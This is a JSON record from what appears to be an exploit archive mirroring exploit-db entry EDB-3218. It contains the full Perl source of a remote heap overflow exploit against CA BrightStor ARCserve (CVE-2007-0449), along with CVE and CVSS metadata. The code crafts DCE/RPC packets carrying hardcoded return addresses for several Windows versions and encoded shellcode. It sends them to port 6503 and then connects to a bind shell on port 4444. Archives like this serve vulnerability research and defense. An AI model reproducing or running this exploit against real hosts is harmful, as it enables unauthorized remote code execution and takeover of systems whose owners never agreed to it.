{"exploit":{"id":"EDB-3218","name":"CA BrightStor ARCserve - 'msgeng.exe' Remote Heap Overflow (2)","description":"CA BrightStor ARCserve - 'msgeng.exe' Remote Heap Overflow (2)","cves":["CVE-2007-0449"],"author":"Jacopo Cervini","published":"2007-01-28","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3218","path":"exploits/windows/remote/3218.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3218.pl","vulnerabilities":[{"id":"CVE-2007-0449","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple buffer overflows in LGSERVER.EXE in CA BrightStor ARCserve Backup for Laptops and Desktops r11.0 through r11.1 SP1, Mobile Backup r4.0, Desktop and Business Protection Suite r2, and Desktop Management Suite (DMS) r11.0 and r11.1 allow remote attackers to execute arbitrary code via crafted packets to TCP port (1) 1900 or (2) 2200.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0449","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0449"},"updatedAt":"2024-08-07T12:19:30.097Z","retrievedAt":"2026-11-26T18:50:32.635Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3218.png?v=2","url":"https://exploitbin.com/exploits/EDB-3218","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3218/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3218/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# original exploit by lssec.com this is a perl porting\n#\n# acaro [at] jervus.it\n\n\nuse IO::Socket::INET;\nuse Switch;\n\nif (@ARGV < 3) {\nprint \"--------------------------------------------------------------------\\n\";\nprint \"Usage : BrightStoreARCServer-11-5-4targets.pl -hTargetIPAddress -oTargetReturnAddress\\n\";\nprint \" Return address: \\n\";\nprint \" 1 - Windows 2k Sp4 English Version\\n\";\nprint \" 2 - Windows 2k Sp4 Italian Version\\n\";\nprint \" 3 - Windows XP Pro Sp1 English Version\\n\";\nprint \" 4 - Windows XP Pro Sp0 English Version\\n\";\nprint \" If values not specified, Windows 2k Sp4 will be used.\\n\";\nprint \" Example : ./BrightStoreARCServer-11-5-4targets.pl -h127.0.0.1 -o1 -o1\\n\";\nprint \"--------------------------------------------------------------------\\n\";\n}\n\nuse IO::Socket::INET;\n\nmy $host = 10.0.0.2;\nmy $port = 6503;\nmy $reply;\nmy $request;\nmy $jmp=\"\\xeb\\x0a\\x90\\x90\";\t# JMP over ret and uef to our shellcode\n\n\n\n\nforeach (@ARGV) {\n$host = $1 if ($_=~/-h((.*)\\.(.*)\\.(.*)\\.(.*))/);\n$uef = $1 if ($_=~/-o(.*)/);\n$ret = $1 if ($_=~/-o(.*)/);\n}\n\n\n\n\nswitch ($uef) {\ncase 1 { $uef=\"\\x4c\\x14\\x54\\x7c\" } # Win2k SP4 English version\ncase 2 { $uef=\"\\x4c\\x14\\x68\\x79\" } # Win2k SP4 Italian  version\ncase 3 { $uef=\"\\xb4\\x73\\xed\\x77\" } # WinXP Pro English SP1 version\ncase 4 { $uef=\"\\xb4\\x63\\xed\\x77\" } # WinXP Pro English SP0 version\n}\n\nswitch ($ret) {\ncase 1 { $ret=\"\\xbf\\x75\\x40\\x2d\" } # Win2k SP4 English version CALL DWORD PTR DS:[ESI+48] in qclient.dll\ncase 2 { $ret=\"\\xbf\\x75\\x40\\x2d\" } # Win2k SP4 Italian  version CALL DWORD PTR DS:[ESI+48] in qclient.dll\ncase 3 { $ret=\"\\x52\\xbf\\x04\\x78\" } # WinXP Pro English SP1 version CALL DWORD PTR DS:[EDI+6c] in RPCRT4.dll\ncase 4 { $ret=\"\\xd7\\xe9\\xd0\\x77\" } # WinXP Pro English SP0 version CALL DWORD PTR DS:[EDI+6c] in RPCRT4.dll\n}\n\n\n\n\nmy $shellc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\\xf3\\x7b\\xb5\\x90\\x33\\x42\".\n\"\\x44\\xc2\\xcd\\xc3\\xb7\\x90\\x35\\x79\\xb5\\x90\\x33\\x42\\x05\\x26\\x65\\x63\".\n\"\\xb7\\x90\\x35\\x7a\\xb4\\x3b\\xb6\\xd5\\x30\\xfc\\x8b\\xcd\\x99\\xa9\\x9a\\x7d\".\n\"\\x1f\\xb9\\xb6\\xd5\\x30\\x09\\x89\\x4e\\x86\\x07\\x80\\x47\\x69\\x8a\\x89\\x7a\".\n\"\\xb9\\x46\\x2f\\xa3\\x07\\x05\\xa7\\xa3\\x02\\x5e\\x23\\xd9\\x4a\\x91\\xa1\\x07\".\n\"\\x1e\\x2d\\xcf\\xb9\\x6d\\x15\\xdb\\x81\\x4b\\xc4\\x8b\\x58\\x1e\\xdc\\xf5\\xd5\".\n\"\\x95\\x2b\\x1c\\xfc\\xbb\\x38\\xb1\\x7b\\xb1\\x3e\\x89\\x2b\\xb1\\x3e\\xb6\\x7b\".\n\"\\x1f\\xbf\\x8b\\x87\\x39\\x6a\\x2d\\x79\\x1f\\xb9\\x89\\xd5\\x1f\\x58\\x1c\\xfa\".\n\"\\x6b\\x38\\x1f\\xa9\\x24\\x0b\\x1c\\xfc\\xb2\\x90\\x33\\x42\\x10\\xe5\\xe7\\x75\".\n\"\\xb3\\x90\\x35\\xd5\\x30\\x6f\\xe3\\x2a\";\n\n\nmy $uuid=\"\\x05\".\t\t\t\t\t\t\t#version\n\"\\x00\".\t\t\t\t\t\t\t\t\t#version minor\n\"\\x0b\".\t\t\t\t\t\t\t\t\t#packet bind\n\"\\x03\".\t\t\t\t\t\t\t\t\t#packet flag\n\"\\x10\\x00\\x00\\x00\".\t\t\t\t\t\t\t#data rapresentation\n\"\\x48\\x00\".\t\t\t\t\t\t\t\t#fragment length\n\"\\x00\\x00\".\t\t\t\t\t\t\t\t#auth length\n\"\\x01\\x00\\x00\\x00\".\t\t\t\t\t\t\t#call id\n\"\\xd0\\x16\\xd0\\x16\".\n\"\\x00\\x00\\x00\\x00\".\t\t\t\t\t\t\t#assoc group\n\"\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\".\n\"\\xf0\\x6b\\x24\\xdc\\x7a\\x7a\\xce\\x11\\x9f\\x88\\x00\\x80\\x5f\\xe4\\x38\\x38\".\t#uuid\n\"\\x01\\x00\".\t\t\t\t\t\t\t\t#interface ver\n\"\\x00\\x00\".\t\t\t\t\t\t\t\t#interface ver minor\n\"\\x04\\x5d\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00\\x2b\\x10\\x48\\x60\".\t#transfer syntax\n\"\\x02\\x00\\x00\\x00\";\t\t\t\t\t\t\t#syntax ver\n\nmy $special=\"\\x05\".\t\t\t\t\t\t\t#version\n\"\\x00\".\t\t\t\t\t\t\t\t\t#version minor\n\"\\x00\".\t\t\t\t\t\t\t\t\t#packet type request\n\"\\x03\".\t\t\t\t\t\t\t\t\t#packet flags\n\"\\x10\\x00\\x00\\x00\".\t\t\t\t\t\t\t#data rapresentation\n\"\\x18\\x08\".\t\t\t\t\t\t\t\t#frag length\n\"\\x00\\x00\".\t\t\t\t\t\t\t\t#auth length\n\"\\x01\\x00\\x00\\x00\".\t\t\t\t\t\t\t#call id\n\"\\x00\\x08\\x00\\x00\".\t\t\t\t\t\t\t#alloc hint\n\"\\x00\\x00\".\t\t\t\t\t\t\t\t#contex id\n\"\\x2b\\x00\";\t\t\t\t\t\t\t\t#opnum 43\n\n\n\n\nmy $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);\n$socket or die \"Cannot connect to host!\\n\";\n\n\n$request = $uuid;\nsend $socket, $request, 0;\nprint \"[+] Sent uuid request\\n\";\nrecv($socket, $reply, 1024, 0);\n\n\n$request = $special.(\"\\x90\"x680).$jmp.$ret.$uef.$shellcode.(\"\\x90\"x1006).\"\\r\\n\";\nsend $socket, $request, 0;\nprint \"[+] Sent malicius 1st request\\n\";\n\n\n$request = $special.(\"\\x90\"x680).$jmp.$ret.$uef.$shellcode.(\"\\x90\"x1029).\"\\r\\n\";\nsend $socket, $request, 0;\nprint \"[+] Sent malicius 2nd request\\n\";\n\n\n\nprint \" + Connect on 4444 port of $host ...\\n\";\nsleep(3);\nsystem(\"telnet $host 4444\");\nexit;\n\n# milw0rm.com [2007-01-28]","sha256":"29b55926f7cbf40d224ee010b78c61440d4d7e210b7ac30016e87102cdfb5dee","bytes":4969,"fetchedAt":"2026-11-27T04:08:10.531Z","encoding":"utf-8 (display only; download retains original bytes)"}